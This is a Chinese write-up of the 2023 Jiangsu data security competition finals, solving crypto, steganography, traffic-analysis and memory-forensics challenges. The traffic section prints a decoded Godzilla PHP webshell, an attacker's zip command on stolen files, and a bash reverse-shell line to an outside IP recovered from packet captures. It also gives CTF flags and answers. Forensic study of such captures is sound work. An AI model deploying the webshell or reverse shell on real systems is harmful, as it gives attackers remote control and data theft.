一个多月前的比赛了,直到最近偶然得知出题人竟在我“身边”,要来wp,才把比赛中没解出来的题目补全。(倒也没补得很全,还有一题逆向,不过那属于知识盲区了,逆向的区域,以后再来探索叭。)
crypto-easy_rsa
from Crypto.Util.number import *
p=
q=
e=
c=
phi=(p-1)*(q-1)
d = inverse(e/5,phi)
m = pow(c,d,n)
m = iroot(m,5)[0]
print(long_to_bytes(m))
crypto-hard_rsa
reverse-easy_calc
简单的异或加密
密钥
密文
c = '151911020907180A060E1D0506105F5F4B465F000248115C525D1B0756000E570c0457025c1c15535913'
m = '737570657263616C6966726167696C697374696365787069616C69646F63696F757363616E647963616E'
from pwn import xor
print(xor(bytes.fromhex(m),bytes.fromhex(c)))
b'flag{dyfohoday36826cg0a531rc9cg8yw4c2xl08}'
misc-steg
查看 0 通道
lsb隐写跑不掉了。不过应该是用加密了
在 alpha 层 0 通道还看到了一个
不过使用 cloacked-pixel 会报错,负载的 AES 信息大小不是 32 的倍数。
自己做一个三位数字典,然后使用 stegpy 爆破
misc-Easy_pic
使用 fft 可以看到有些东西,意会一下内容大概是 KEY: cloacked-pixel-master
随后用 cloacked-pixel 解一下就好。
流量分析-GozTraffic
-
黑客使用哥斯拉成功连接受害服务器并返回数据的时间是_____________。(格式为YYYY-MM-DD_HH:MM:SS)
在tcp67流,黑客把哥斯拉恶意代码 post 过去了,eval 的内容解码为
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='oL@ns!@opaOiw';
$payloadName='payload';
$key='6cfcfe9b99c68a0a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
根据代码,返回的数据是拼接而来,第一部分是 16 字节的 md5,然后是encode 的数据,然后是 16 自己的md5
本地写一个哥斯拉密文解密脚本方便后续内容解密
import gzip
def dec(c,key):
p=""
for i in range(len(c)):
p += chr(ord(c[i])^ord(key[(i+1)&15]))
return p
cipher = b""
from base64 import *
gg = dec(b64decode(cipher).decode("latin1"),"6cfcfe9b99c68a0a")
print(gzip.decompress(gg.encode("latin1")).decode())
-
受害服务器的上游服务器IPv6地址是_________________。
解密第 67 流最下面的密文数据,
import gzip
def dec(c,key):
p=""
for i in range(len(c)):
p += chr(ord(c[i])^ord(key[(i+1)&15]))
return p
cipher = b"fO1rZmU5Yjk5YEtsqkLCDne7iE3No89VJx0yixLpBdTJXjOGqU2tfxwj7qInvyAUEtT7CfoSDh7QJvm6I8f9zfNoJAIDHjncHL0Vr6LpypsL2oZS/z/xYA1aBPEbbhqJrsQcRaXfsUnLPzvqb27Y+d7aK7UYR0Li1izdxQ/TvMG/PWwhSrXfCXGFdyqvjIb1pe3fFdkdqQDjb0v3xU1XmuTvzMnKkSrO4EIT04yGYZIOpCZUytFAYOnLfPpBuPIey/ULs9NwqS9Oaju72mswqHZhS/yobzO1J22xpB0Tlm+Sgdm+w2LVw3ykQCnm+VNqssJp8dadPH9O9MT1gh4cDPM7bePNdekG64HJTtc8y2Ox0LMEdPxOMN7I0G5kSsVmBpMRfCn6C5T97o9VWzp2RbcWIM3rqBSpjIZ8IlYIsnrx7HmwFZ5wi2XTQR14nJJU4P7PM4Y7pvevKjVdhaKItcNYK52nQz2mjXyxRqabEM/yDB/PQzTJv9onHAEYhwckZjd7yucx+w5a+ubvB2YJKRI/FCWmscTPPYMCebpckooUTHY/E4FvvJ40/MKCmR2dHls3e8ponKmqEavX/bA7ermcqyFpvUpO4HD2Cckjv7uDaPnw3ob+VwipTW1SU7dLjoD9p14XRxJWJXMN9Cu7Q9zZENsAbif7lgscBzEz/Kov9Ok3oL7edfIRgcVBPBzPW4WshuzzxCLkucS2+H9z2GaLm52yNXIjNCMmFlhBiOEaNWQoZH3gMOzcp7ZqXrz4wR7sYLgQuCl4rFW14K4hG+Fbsay9KJ27gPOrYVwI2iYEa0PkdN8wNs9lGzu1gPc4/kMls1rh52m63kbajPh6geBGa0e1WnK+yrrU3rIC2gmjKynJ+QUQQM+gH8RkcoUAr3yRD09xupGngrBi5/ESUbIHZlBTn6GDP6HK6xD7B85+Lj+zZ52kjESwOu8i74Bwamrk0cn+z+zBu9Yb0iab1XBTRKoOHD0JrtX1R3oV0J7vi9pahwsd/e5MNEt9X01KbbxUPtn4LuDZH61ZvBhT8ICM0XH5pgq2eAFI/mRbWgA9pih/ot9Grf9GIYIC75cGJzfuSScjGg5Fcy6WqrsANDiT4C+de19P/uWRX0H/eYuVuv5vCQYYJrpOpwHI7nORbdeXjhsrn/kpVuy9L/n3QOVHID0j/af4LofMy71Ov8M8O9gdlWhjvfIgyTmAE3+PgmNjZg=="
from base64 import *
gg = dec(b64decode(cipher).decode("latin1"),"6cfcfe9b99c68a0a")
print(gzip.decompress(gg.encode("latin1")).decode())得到
OsInfo : Linux ctmd 6.2.0-32-generic #32~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 18 10:40:13 UTC 2 x86_64
CurrentUser : www
REMOTE_ADDR : fd15:4ba5:5a2b:1008:20c:29ff:fe57:a107
REMOTE_PORT : 33928
HTTP_X_FORWARDED_FOR : fd15:4ba5:5a2b:1008:f581:619a:b163:c627
HTTP_CLIENT_IP :
SERVER_ADDR : fd15:4ba5:5a2b:1008:60b9:ff63:528e:149d
SERVER_NAME : tp6.0.1.com
SERVER_PORT : 32154
disable_functions :
Open_basedir :
timezone : PRC
encode :
extension_dir : /www/server/php/81/lib/php/extensions/no-debug-non-zts-20210902
systempdir : /tmp/
include_path : .:
DOCUMENT_ROOT : /www/wwwroot/32154/tp/public
PHP_SAPI : fpm-fcgi
PHP_VERSION : 8.1.17
PHP_INT_SIZE : 8
ProcessArch : x64
PHP_OS : Linux
canCallGzipDecode : 1
canCallGzipEncode : 1
session_name : PHPSESSID
session_save_path :
session_save_handler : files
session_serialize_handler : php
user_ini_filename : .user.ini
memory_limit : 128M
upload_max_filesize : 50M
post_max_size : 50M
max_execution_time : 0
max_input_time : 60
default_socket_timeout : 60
mygid : 1001
mypid : 81435
SERVER_SOFTWAREypid : nginx/1.22.1
loaded_extensions : Core,date,libxml,openssl,pcre,sqlite3,zlib,bcmath,ctype,curl,dom,filter,ftp,gd,gettext,hash,iconv,intl,json,mbstring,SPL,session,pcntl,standard,mysqlnd,PDO,pdo_mysql,pdo_sqlite,Phar,posix,Reflection,mysqli,shmop,SimpleXML,soap,sockets,sodium,sysvsem,tokenizer,xml,xmlreader,xmlwriter,cgi-fcgi,zip
short_open_tag : true
asp_tags : false
safe_mode : false
CurrentDir : /www/wwwroot/32154/tp/public
FileRoot : /三个 ipv6 都试了一下,好像是:fd15:4ba5:5a2b:1008:60b9:ff63:528e:149d
-
黑客对受害服务器上的敏感文件进行打包操作,请问该压缩包密码是___________。
接下来是非常脑洞的部分:
在 57 流能够看到一段base64
解密后是一段php 的 aes 加密<?php
function customEncrypt($data, $key) {
$key = md5($key);
$iv = random_bytes(16);
$encryptedData = openssl_encrypt($data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
$result = base64_encode($iv . $encryptedData);
return $result;
}但是我们没key啊?预期解是让我们爆,,key 的长度是 5 个字符,并且是十六进制字符,很难崩,爆出来的密钥是 61c42
找到第23流的数据
from base64 import *
cc = b64decode("jiVOhckW3Dp9ePlm2iuyBWBHWNlDxWbTlAqPt+JLIa8s3+vJZlcVIHKETqbIknErPCkevvm3heHFI5Vc5W8Wby8+W+6hfhjM/i0XyxsbIZVj5QyHQ4isWlekCszQlevGH8SlxjvfIRcbMxdUXREI/EWGiZKdFL81U80x7V9em+MJ4KsScq0bgnJ98yq1nMcl")
c = cc[16:]
iv = cc[:16]
key = b'a5a74e2ab431761ecb2299ef88d46a38'
from Crypto.Cipher import AES
enc = AES.new(iv=iv,key=key,mode=AES.MODE_CBC)
print(enc.decrypt(c))得到
b'system('zip -q -r -P "SN@jSoiueFIEZSIDJ" /www/wwwroot/32154/tp/public/flag.zip /www/wwwroot/32154/tp/public/db/dumpfile.sql');x02x02'
-
黑客留下的后门IP地址和端口号是________________。(格式为IP_PORT)
解密tcp 76流的流量,
import gzip
def dec(c,key):
p=""
for i in range(len(c)):
p += chr(ord(c[i])^ord(key[(i+1)&15]))
return p
cipher = b"fO1rZmU5Yjk5YGVutX+r+rApKUqr2WAoM9n/MouZdJ+qbHM4w7v4pEcpXKEfeRO33cfC7/uQ/Jin8peZ37nwh/LH4ev/mFg5tEnbaCIwYTY="
from base64 import *
gg = dec(b64decode(cipher).decode("latin1"),"6cfcfe9b99c68a0a")
print(gzip.decompress(gg.encode("latin1")).decode())得到
#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/114.5.1.211/42321 <&1' -
受害服务器上的中间件、中间件版本、PHP版本、框架名以及对应版本为___________。(格式为:中间件:中间件版本_PHP版本_框架名:框架版本,如tomcat:9.0.0_5.4.0_yii:2.38.0)
根据第二题的信息,我们知道中间件的版本是 nginx/1.22.1;php的版本是 8.1.17,但是不知道 thinkphp 的版本
和第三小题一样,不过密钥又换了 ,这回是 ‘23b4d’
from base64 import *
from hashlib import md5
cc = b64decode("4Q77JutsR+DCTQEDptU6aUvtVVu5h+F+mIHcSE3jJl9hnjPSnBapKdxNNJ3i0Qgr")
from Crypto.Cipher import AES
c = cc[16:]
iv = cc[:16]
for i in range(1048575):
key = md5(hex(i)[2:].rjust(5,'0').encode()).hexdigest().encode()
#key = b'a5a74e2ab431761ecb2299ef88d46a38'
#key = b'1d77b220bdf94d38007e3e6e9c380588'
enc = AES.new(iv=iv,key=key,mode=AES.MODE_CBC)
res = enc.decrypt(c)
if res[-1]==res[-2]==res[-3]:
print(res,hex(i))找到 version.zip 的密码
from base64 import *
from hashlib import md5
cc = b64decode("WsclGnueTdLgsUSeNeoqvUouMsABv70pjjt+0cUFsLQMlEkgUVXIZV4cyshI0Z5aGXQ4ZNefWX37rbR88Im2Qp5j08fnwXj9st8vV2cdhfODV24X0iL5V5aR0pB+eRiNE+oDRLAQBxR2UBcnjCk/inupvIHpSzD9Ug1GhtFGdMW/SeF0+s6LCaeRSqvoggeF")
from Crypto.Cipher import AES
c = cc[16:]
iv = cc[:16]
key = b'1d77b220bdf94d38007e3e6e9c380588'
enc = AES.new(iv=iv,key=key,mode=AES.MODE_CBC)
res = enc.decrypt(c)
print(res)
# b'system("zip -q -r -P "MS1209D@IOEJabnsdIUJEOI@" /www/wwwroot/32154/tp/public/version.zip /www/wwwroot/32154/tp/composer.json");x01'8604数据包拿到 version.zip
获得框架版本
所以 flag:nginx:1.22.1_8.1.17_thinkphp:6.0.12
(比赛的时候根本没人能想到这么脑洞的加密方式,因此与压缩包密码相关的两题也都没人能做出来)
内存取证-MemoryLife
-
请给出内存镜像中黑客使用工具对外连接的IP地址及端口号是___________。(格式为IP_PORT)
volatility_2.6_win64_standalone.exe -f MemoryLife.raw --profile=Win7SP1x64 netscan
找到一个nc.exe 外连192.168.233.1_54266
-
请给出内存镜像中用户BGS-Chenyi的开机密码___________。
使用工具 Passware Kit Forensic
abc123456
-
黑客工具里的LOGONSERVER环境变量值是___________。
把 nc.exe dump下来,搜索
LOGONSERVER
,找到 BGS-CHENYJ-PCvolatility_2.6_win64_standalone.exe -f MemoryLife.raw --profile=Win7SP1x64 pslist
volatility_2.6_win64_standalone.exe -f MemoryLife.raw --profile=Win7SP1x64 memdump -p 3036 -D ./
-
请给出内存镜像中屏幕里的内容___________。
dump 下 mspaint.exe,
volatility_2.6_win64_standalone.exe -f MemoryLife.raw --profile=Win7SP1x64 memdump -p 4312 -D ./
在gimp里调
得到
旋转一下,gydk5sp
-
请给出wps.ini最后的修改时间_____________。(格式为YYYY-MM-DD_hh:mm:ss_+0000)
volatility_2.6_win64_standalone.exe -f MemoryLife.raw --profile=Win7SP1x64 mftparser
2023-09-19_03:31:27_+0000
原文始发于微信公众号(Van1sh):2023 江苏省数据安全竞赛 决赛
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论